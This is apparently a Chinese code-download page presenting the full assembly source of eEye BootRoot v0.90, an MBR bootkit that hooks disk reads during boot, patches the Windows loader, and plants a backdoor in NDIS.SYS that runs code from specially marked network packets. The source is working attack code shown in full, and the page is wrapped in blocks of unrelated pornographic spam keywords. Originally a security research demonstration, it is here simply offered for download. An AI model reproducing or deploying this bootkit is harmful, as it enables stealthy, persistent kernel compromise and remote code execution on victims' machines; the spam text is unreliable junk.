亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ebrk.asm

?? 一個基于MBR的bootkit
?? ASM
字號:
;===============================================================
; eEye BootRoot v0.90                  Last updated: 08/08/2005
;---------------------------------------------------------------
; Demonstration of the capabilities of custom boot sector code
; on a Windows NT-family system.
;
; Derek Soeder - eEye Digital Security - 04/02/2005
;===============================================================


.486p
.model tiny


BOOTORG EQU 7C00h						; our code is executed by the BIOS at 0000h:7C00h

BOOTROOT_SIZE EQU 200h


;----------------
BOOTROOT GROUP BRCODE16, BRDATA

ASSUME CS:BOOTROOT, DS:BOOTROOT, ES:BOOTROOT, SS:BOOTROOT


;----------------
BRCODE16 SEGMENT byte use16

@BRCODE16_START EQU $


;###################################
;##  Boot-Time Installation Code  ##
;###################################

	;
	; Initialization
	;

	cli

	xor		bx, bx
	mov		ss, bx

	mov		ss:[BOOTORG - 2], sp
	mov		sp, (BOOTORG - 2)

	push		ds
	pushad

	mov		ds, bx

	;
	; Reserve 1KB conventional memory for our memory-resident code
	;

	dec		word ptr ds:[0413h]			; 0040h:0013h - base memory size in KBs

	mov		ax, ds:[0413h]
	shl		ax, (10-4)				; AX *= 1024 / 16 (convert linear address in KBs to a segment)
	mov		es, ax

	;
	; Copy ourselves to reserved memory and initialize the rest to zeroes
	;

	cld

	mov		si, BOOTORG
	xor		di, di
	mov		cx, BOOTROOT_SIZE / 2
	rep movsw

	xor		ax, ax
	mov		ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
	rep stosw

	;
	; Install our INT 13h hook
	;

	mov		eax, ds:[bx + (13h*4)]
	mov		es:[INT13HANDLER - @BRCODE16_START], eax	; store previous handler

	mov		word ptr [bx + (13h*4)], @Int13Hook	; point INT 13h vector to our hook handler
	mov		[bx + (13h*4) + 2], es			; (BX = 0 from earlier)

	;
	; Load and execute MBR from first hard drive (do this from resident code)
	;

	push		es
	push		@BootFromHDD
	retf

@BootFromHDD:

	sti

	mov		es, cx					; CX = 0 from above REP STOSW

	mov		ax, 0201h				; AL = number of sectors
	inc		cx					; CH = cylinder; CL = sector and high bits of cylinder
	mov		dx, 0080h				; DH = head; DL = drive number
	mov		bh, (BOOTORG / 100h)			; ES:BX -> destination buffer
	int		13h					; INT 13h/AH=02h: Read sector(s) into memory

	popad
	pop		ds
	pop		sp

	db		0EAh					; JMP FAR 0000h:7C00h
	dw		BOOTORG, 0000h


;##################################
;##  INT 13h Hook Real-Mode ISR  ##
;##################################

@Int13Hook:

	pushf
	cmp		ah, 42h					; IBM/MS INT 13 Extensions - EXTENDED READ
	je		short @Int13Hook_ReadRequest

	cmp		ah, 02h					; DISK - READ SECTOR(S) INTO MEMORY
	je		short @Int13Hook_ReadRequest
	popf

	db		0EAh					; JMP FAR INT13HANDLER
INT13HANDLER EQU $
	dd		?

@Int13Hook_ReadRequest:

	mov		byte ptr cs:[INT13LASTFUNCTION], ah

	;
	; Invoke original handler to perform read operation
	;

	popf
	pushf							; push Flags because we're simulating an INT
	call		dword ptr cs:[INT13HANDLER]		; call original handler
	jc		short @Int13Hook_ret			; abort immediately if read failed

	pushf
	cli
	push		es
	pusha

	;
	; Adjust registers to internally emulate an AH=02h read if AH=42h was used
	;

	mov		ah, 00h
INT13LASTFUNCTION EQU $-1
	cmp		ah, 42h
	jne		short @Int13Hook_notextread

	lodsw
	lodsw							; +02h  WORD    number of blocks to transfer
	les		bx, [si]				; +04h  DWORD   transfer buffer

@Int13Hook_notextread:

	;
	; Scan sector for a signature of the code we want to modify
	;

	test		al, al
	jle		short @Int13Hook_scan_done

	cld

	mov		cl, al
	mov		al, 8Bh
	shl		cx, 9					; (AL * 200h)
	mov		di, bx

  @Int13Hook_scan_loop:
								; 8B F0       MOV ESI, EAX
								; 85 F6       TEST ESI, ESI
								; 74 21       JZ $+23h
								; 80 3D ...   CMP BYTE PTR [ofs32], imm8
								; (the first 6 bytes of this signature exist in other modules!)
	repne scasb
	jne		short @Int13Hook_scan_done

	cmp		dword ptr es:[di], 74F685F0h
	jne		short @Int13Hook_scan_loop

	cmp		word ptr es:[di+4], 8021h
	jne		short @Int13Hook_scan_loop

	mov		word ptr es:[di-1], 15FFh		; FFh/15h/xx/xx/xx/xx: CALL NEAR [ofs32]

	mov		eax, cs
	shl		eax, 4

	add		cs:[(NDISBACKDOOR_LINEAR - @BRPATCHFUNC32_START) + BRCODE16_SIZE], eax

	add		ax, (@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE
	mov		cs:[PATCHFUNC32_LINEAR], eax		; should be okay to add to AX, since we can't cross 1KB boundary

	add		ax, PATCHFUNC32_LINEAR - ((@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE)
	mov		es:[di+1], eax

@Int13Hook_scan_done:

	popa
	pop		es
	popf

@Int13Hook_ret:

	retf 2							; discard saved Flags from original INT (pass back CF, etc.)

@BRCODE16_END EQU $

BRCODE16_SIZE EQU (@BRCODE16_END - @BRCODE16_START)

BRCODE16 ENDS


;----------------
BRPATCHFUNC32 SEGMENT byte use32

ASSUME CS:BRPATCHFUNC32, DS:nothing, ES:nothing, SS:nothing

@BRPATCHFUNC32_START EQU $


;################################################################
;##  NDIS.SYS!ethFilterDprIndicateReceivePacket Backdoor Code  ##
;################################################################

@NDISBackdoor:							; +00h  DWORD   'eBR\xEE' signature
								; +04h  [...]   code to execute (ESI points here on entry)
	pushfd
	pushad

	push		59h
	pop		ecx

	mov		esi, [esp+2Ch]				; ptr to some array of ptrs
	lodsd							; ptr to some structure
	mov		eax, [eax+8]				; ptr to an MDL for the packet
	cmp		dword ptr [eax+14h], ecx		; check size of packet
	jbe		@NDISBackdoor_ret

	add		ecx, [eax+0Ch]				; ptr to Ethernet frame
	cmp		dword ptr [ecx-4], 0EE524265h		; look for "eBR\xEE" signature at offset 55h in the frame
	jne		@NDISBackdoor_ret

	call		ecx

  @NDISBackdoor_ret:

	popad
	popfd

	push		ebp
	mov		ebp, esp
	sub		esp, 60h				; it doesn't matter if we allocate a little extra stack space

	db 0E9h							; E9h/xx/xx/xx/xx: JMP NEAR rel32
	; "JMP NEAR (ethFilterDprIndicateReceivePacket + 6)" 'rel32' will be manually appended here

@NDISBACKDOOR_END EQU $


;#####################################################
;##  Auxiliary RVA-to-Pointer Conversion Functions  ##
;#####################################################

@TranslateVirtualToRaw:

	pushad
	push		08h					; FIELD_OFFSET(IMAGE_SECTION_HEADER, VirtualSize)
	jmp		short @Translate

@TranslateRawToVirtual:

	pushad
	push		10h					; FIELD_OFFSET(IMAGE_SECTION_HEADER, SizeOfRawData)

@Translate:

	pop		eax

	test		word ptr [esi+20h], 0FFFh		; size of image (should be 4KB multiple if sections are aligned)
	jz		@Translate_ret

	mov		esi, [ebx+3Ch]				; IMAGE_DOS_HEADER.e_lfanew
	add		esi, ebx				; ptr to PE header

	movzx		ecx, word ptr [esi+06h]			; IMAGE_NT_HEADERS.FileHeader.NumberOfSections
	movzx		edi, word ptr [esi+14h]			; IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
	lea		edi, [esi+edi+18h]			; IMAGE_FIRST_SECTION(ESI)

@Translate_sectionloop:

	mov		edx, [esp+24h]				; function's stack "argument"

	sub		edx, [edi+eax+4]			; PIMAGE_SECTION_HEADER->{VirtualAddress,PointerToRawData}
	jb		short @Translate_sectionloop_next

	cmp		edx, [edi+eax]				; PIMAGE_SECTION_HEADER->{VirtualSize,SizeOfRawData}
	jbe		short @Translate_sectionloop_done

  @Translate_sectionloop_next:

	add		edi, 28h
	loop		@Translate_sectionloop

  @Translate_sectionloop_done:

	xor		al, 1Ch					; 08h --> 14h, 10h --> 0Ch
	add		edx, [edi+eax]				; PIMAGE_SECTION_HEADER->{PointerToRawData,VirtualAddress}

	mov		[esp+24h], edx				; update stack "argument" to contain translated value

@Translate_ret:

	popad
	ret


;#######################################
;##  Inline Code Patch Hook Function  ##
;#######################################

@PatchFunction:

	;
	; Initialization
	;

	pushfd
	pushad							; assume DS = ES = 10h (KGDT_R0_DATA: flat ring-0 data segment)

	cld

	;
	; Scan for address of module list base (_BlLoaderData)
	;

	mov		edi, [esp+24h]				; use EIP as a ptr into OSLOADER
	and		edi, NOT 000FFFFFh			; convert to image base ptr

	mov		al, 0C7h				; C7 46 34 00 40 00 00    MOV DWORD PTR [ESI+34h], 4000h

@PatchFunction_mlsigloop:					; assume that we will find it

	scasb
	jne		@PatchFunction_mlsigloop

	cmp		dword ptr [edi], 40003446h
	jne		@PatchFunction_mlsigloop

	mov		al, 0A1h				; A1 xx xx xx xx          MOV EAX, [xxxxxxxx]

@PatchFunction_mlbaseloop:

	scasb
	jne		@PatchFunction_mlbaseloop

	mov		esi, [edi]				; ptr to base of module list
	mov		esi, [esi]				; ptr to first node of module list
	mov		ebx, esi

	;
	; Search module list for NDIS.SYS
	;

@PatchFunction_modloop:

	mov		esi, [esi]
	cmp		esi, ebx
	jne		short @PatchFunction_modloop_nextnode	; break out if we've traversed the entire (circular) list

;----
@PatchFunction_done:

		;
		; Restore registers, perform displaced instructions, and return into patched code
		;

	popad
	popfd

	mov		esi, eax
	test		eax, eax
	jnz		short @PatchFunction_done_nojz

	pushfd
	add		dword ptr [esp+4], 21h
	popfd
@PatchFunction_done_nojz:

	ret
;----

@PatchFunction_modloop_nextnode:

	cmp		byte ptr [esi+2Ch], 8*2			; module file name 'UNICODE_STRING.Length' for L"NDIS.SYS"
	jne		short @PatchFunction_modloop

	mov		ecx, [esi+30h]
	mov		eax, [ecx]
	shl		eax, 8
	xor		eax, [ecx+4]
	and		eax, NOT 20202020h
	cmp		eax, 44534E49h				; "NDIS" mangled: 44004E00h ("N\0D\0" << 8) ^ 00530049h ("I\0S\0")
	jne		short @PatchFunction_modloop

	;
	; Search NDIS.SYS for ndisMLoopbackPacketX call to ethFilterDprIndicateReceivePacket
	;

 	mov		ebx, [esi+18h]				; EBX = image base address

	mov		edi, ebx
	mov		al, 50h					; 50                      PUSH EAX
								; 53                      PUSH EBX
								; C7 46 10 0E 00 00 00    MOV DWORD PTR [ESI+10h], 0Eh
@PatchFunction_nmlpxloop:

	scasb
	jne		@PatchFunction_nmlpxloop

	cmp		dword ptr [edi], 1046C753h
	jne		@PatchFunction_nmlpxloop

	cmp		dword ptr [edi+4], 0Eh
	jne		@PatchFunction_nmlpxloop

	lea		edx, [edi+0Dh]
	sub		edx, ebx

	push		edx
	call		@TranslateRawToVirtual
	pop		edx					; EDX = RVA of offset following CALL instruction
	
	add		edx, [edi+9]				; EDX += rel32

	push		edx
	call		@TranslateVirtualToRaw
	pop		edi					; EDI = ptr to start of eFDIRP in potentially raw image
	add		edi, ebx

	cmp		word ptr [edi], 0FF8Bh
	jne		@PatchFunction_no8BFF

	inc		edi
	inc		edx
	inc		edi
	inc		edx					; skip over "MOV EDI, EDI" at function start (XP SP2 and later)

@PatchFunction_no8BFF:

	mov		al, 0E9h				; E9h/xx/xx/xx/xx: JMP NEAR rel32
	stosb

	push		40h - 5					; RVA of destination (at 40h, inside DOS EXE code) - size of JMP
	pop		eax
	sub		eax, edx				; EAX (rel32) = destination RVA - source RVA
	stosd

	db		6Ah, (@NDISBACKDOOR_END - @NDISBackdoor)	; 6Ah/xx: PUSH simm8 (to keep MASM from being stupid)
	pop		ecx

	mov		esi, (@NDISBackdoor - @BRPATCHFUNC32_START) + BRCODE16_SIZE
NDISBACKDOOR_LINEAR EQU $-4

	lea		edi, [ebx+40h]
	rep movsb

	lea		eax, [edx+6 - (40h + (@NDISBACKDOOR_END - @NDISBackdoor) + 4)]
	stosd

	mov		word ptr ds:[000B8000h], 0901h		; blue smiley

	jmp		@PatchFunction_done

@BRPATCHFUNC32_END EQU $

BRPATCHFUNC32 ENDS


;----------------
BRDATA SEGMENT DWORD


;#############################
;##  Boot Sector Signature  ##
;#############################

	db 2 dup (?)						; this signature must be last two bytes in boot sector
	dw		0AA55h


;###############################
;##  Post-Resident Data Area  ##
;###############################

PATCHFUNC32_LINEAR EQU BOOTROOT_SIZE

BRDATA ENDS


END

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
色婷婷精品久久二区二区蜜臀av | 欧美一级高清片| 91精品国产综合久久香蕉麻豆| 欧美精品一区二区久久婷婷| 亚洲色图欧美激情| 久久国产精品第一页| 一本久久精品一区二区| 久久综合五月天婷婷伊人| 亚洲激情综合网| 日韩视频在线永久播放| 精品一区二区三区久久| 99国产一区二区三精品乱码| 日韩午夜精品视频| 亚洲激情自拍视频| 成人精品免费看| 欧美国产精品一区二区| 亚洲第一主播视频| 91一区二区在线| 久久久精品2019中文字幕之3| 亚洲第一狼人社区| 97久久精品人人做人人爽50路| 久久综合九色综合久久久精品综合| 亚洲一区二区三区自拍| 一本色道**综合亚洲精品蜜桃冫| 国产视频911| 国产成人欧美日韩在线电影| 成人伦理片在线| 538在线一区二区精品国产| 亚洲欧洲国产日本综合| 成人av在线一区二区三区| 精品粉嫩超白一线天av| 美国一区二区三区在线播放| 日韩女优毛片在线| 青青草一区二区三区| 制服丝袜成人动漫| 奇米四色…亚洲| 欧美一区二区三区免费观看视频 | 粉嫩aⅴ一区二区三区四区| 日韩精品一区二区三区三区免费 | 欧美精品123区| 日韩在线一二三区| 国产精品夜夜嗨| 国产欧美一区视频| 91黄色激情网站| 国产精品卡一卡二卡三| 9i看片成人免费高清| 亚洲乱码国产乱码精品精小说| av电影在线观看完整版一区二区| 亚洲天堂精品在线观看| 欧美四级电影网| 日本中文字幕一区| 久久先锋影音av鲁色资源网| 丁香婷婷综合五月| 亚洲欧美日韩国产综合在线| 欧美日韩视频在线第一区 | 欧美高清在线精品一区| a美女胸又www黄视频久久| 亚洲免费成人av| 日韩午夜在线影院| 国产69精品久久久久毛片| 亚洲欧美在线另类| 欧美日韩亚洲综合在线| 久久精品国产久精国产| 欧美日韩高清影院| 欧美日韩日日夜夜| 免费成人在线观看| 国产欧美一区在线| 欧美人与禽zozo性伦| 国产精选一区二区三区 | 欧美一级一级性生活免费录像| 激情小说欧美图片| 中文字幕一区二区三区不卡| 欧美日韩高清一区二区| 国模一区二区三区白浆| 艳妇臀荡乳欲伦亚洲一区| 综合在线观看色| 8x福利精品第一导航| 成人美女在线观看| 六月丁香婷婷色狠狠久久| 亚洲精品视频一区| 久久久亚洲高清| 在线综合亚洲欧美在线视频| 成人的网站免费观看| 久久精品99国产精品日本| 亚洲欧美国产三级| 久久精品夜色噜噜亚洲a∨| 日本va欧美va欧美va精品| 久久久一区二区三区| 欧美在线观看视频一区二区| 高清不卡一二三区| 韩国av一区二区三区四区| 亚洲国产一区二区视频| 亚洲乱码中文字幕| 国产精品美女久久久久久久久| 日韩午夜精品电影| 欧美精品电影在线播放| 一本色道亚洲精品aⅴ| 成人性视频网站| 国产一区二区三区在线看麻豆| 视频一区视频二区中文| 亚洲国产欧美一区二区三区丁香婷| 国产精品网曝门| 国产欧美日韩中文久久| 精品国产第一区二区三区观看体验| 欧美性视频一区二区三区| 99精品久久久久久| 成人av在线观| 波多野结衣在线一区| 国产福利精品导航| 国产成人日日夜夜| 成人av免费网站| 国产黄人亚洲片| 免费欧美日韩国产三级电影| 亚洲美女视频在线| 亚洲激情校园春色| 亚洲激情av在线| 一区二区成人在线| 黄网站免费久久| 日本成人中文字幕在线视频 | 亚洲一卡二卡三卡四卡五卡| 国产精品女同互慰在线看| 国产精品三级视频| 国产精品国产馆在线真实露脸| 国产精品视频免费看| 中文字幕制服丝袜一区二区三区 | av在线一区二区| 99久久精品免费看国产免费软件| 成人丝袜18视频在线观看| 成人精品一区二区三区中文字幕| 成人永久免费视频| 日韩欧美一区二区视频| 国产日韩欧美制服另类| 久久久噜噜噜久噜久久综合| 久久精品亚洲一区二区三区浴池| 久久久久久久久蜜桃| 欧美高清在线一区| 一级做a爱片久久| 天天色综合天天| 久久不见久久见免费视频7| 国产**成人网毛片九色| 色综合婷婷久久| 欧美精品在线视频| 久久久久久麻豆| 亚洲一卡二卡三卡四卡五卡| 美国精品在线观看| 成人午夜电影小说| 欧美日韩激情一区二区三区| 日韩欧美电影一区| 亚洲日本青草视频在线怡红院| 亚洲综合久久久久| 国精品**一区二区三区在线蜜桃| 成人免费毛片高清视频| 欧美日韩一级片在线观看| 久久免费美女视频| 亚洲线精品一区二区三区| 精品久久久久久久久久久久久久久| 国产自产v一区二区三区c| 国精产品一区一区三区mba视频| 波多野结衣中文字幕一区 | 色噜噜久久综合| 精品日产卡一卡二卡麻豆| 国产精品成人免费在线| 日本v片在线高清不卡在线观看| 国产成人精品免费一区二区| 欧美日韩一区不卡| 中文字幕在线一区二区三区| 日本不卡视频在线| 91欧美激情一区二区三区成人| 日韩欧美视频在线| 亚洲一区二区在线观看视频| 国产乱人伦偷精品视频不卡| 欧美日韩精品免费观看视频| 中文字幕日韩精品一区| 国产真实乱对白精彩久久| 欧美日韩午夜影院| 亚洲婷婷综合色高清在线| 国产精一品亚洲二区在线视频| 欧美日韩大陆一区二区| 一区精品在线播放| 国产乱理伦片在线观看夜一区| 欧美女孩性生活视频| 亚洲男人都懂的| 不卡一区在线观看| 久久色中文字幕| 美女国产一区二区| 欧美一区二区三区精品| 亚洲一区二区三区四区不卡| 99久久综合99久久综合网站| 精品久久久久一区| 奇米影视在线99精品| 欧美绝品在线观看成人午夜影视| 亚洲日本青草视频在线怡红院 | 亚洲成人av一区二区三区| 99国产精品久久久| 中文字幕在线观看不卡| av一二三不卡影片| 亚洲欧洲美洲综合色网| 成人精品小蝌蚪| 亚洲色图19p| 欧美伊人久久久久久午夜久久久久|